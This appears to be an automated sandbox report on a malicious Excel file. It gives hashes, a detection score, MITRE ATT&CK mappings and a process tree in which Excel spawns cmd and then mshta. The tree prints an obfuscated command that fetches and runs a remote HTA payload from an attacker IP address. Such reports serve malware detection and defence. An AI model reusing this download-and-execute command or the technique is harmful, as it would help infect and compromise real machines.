3ee11be1ab0b3f9e9bf14fd4a9c36e3fbd7e2ab3020c77f8b632491f613d9033

Analysis

max time kernel
61s
max time network
18s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
21-11-2024 00:36

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General

Target

3ee11be1ab0b3f9e9bf14fd4a9c36e3fbd7e2ab3020c77f8b632491f613d9033.xls
Size

65KB
MD5

5ed645d805d6e4a8e25f6a88dcd77925
SHA1

17f632acf18222e948c5cebdb8984e4181880fdd
SHA256

3ee11be1ab0b3f9e9bf14fd4a9c36e3fbd7e2ab3020c77f8b632491f613d9033
SHA512

efead51504ad224258db601ff3fa0867237a84ce5cdaeedcfc7d11524732e1a18b00ab4adab9d75c07d7a96f5a0803e8abade8f1511b92ca8144e32ec79dfabb
SSDEEP

1536:zVyk3hbdlylKsgqopeJBWhZFGkE+cL2NdAwzMk9B+oowzMk9A+oos:z8k3hbdlylKsgqopeJBWhZFGkE+cL2N/

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://87.251.86.178/pp/aa.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1216	3024	cmd.exe	28

Blocklisted process makes network request 2 IoCs

Processes:

mshta.exe

flow	pid	Process
4	1144	mshta.exe
5	1144	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

EXCEL.EXEcmd.exemshta.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid	Process
3024	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid	Process
3024	EXCEL.EXE
3024	EXCEL.EXE
3024	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	Process	procid_target
PID 3024 wrote to memory of 1216	3024	EXCEL.EXE	29
PID 3024 wrote to memory of 1216	3024	EXCEL.EXE	29
PID 3024 wrote to memory of 1216	3024	EXCEL.EXE	29
PID 3024 wrote to memory of 1216	3024	EXCEL.EXE	29
PID 1216 wrote to memory of 1144	1216	cmd.exe	31
PID 1216 wrote to memory of 1144	1216	cmd.exe	31
PID 1216 wrote to memory of 1144	1216	cmd.exe	31
PID 1216 wrote to memory of 1144	1216	cmd.exe	31

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\3ee11be1ab0b3f9e9bf14fd4a9c36e3fbd7e2ab3020c77f8b632491f613d9033.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3024
- C:\Windows\SysWOW64\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/aa.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1216
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://87.251.86.178/pp/aa.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:1144

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3024-1-0x00000000722CD000-0x00000000722D8000-memory.dmp

Filesize
44KB

Download
memory/3024-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/3024-11-0x00000000722CD000-0x00000000722D8000-memory.dmp

Filesize
44KB

Download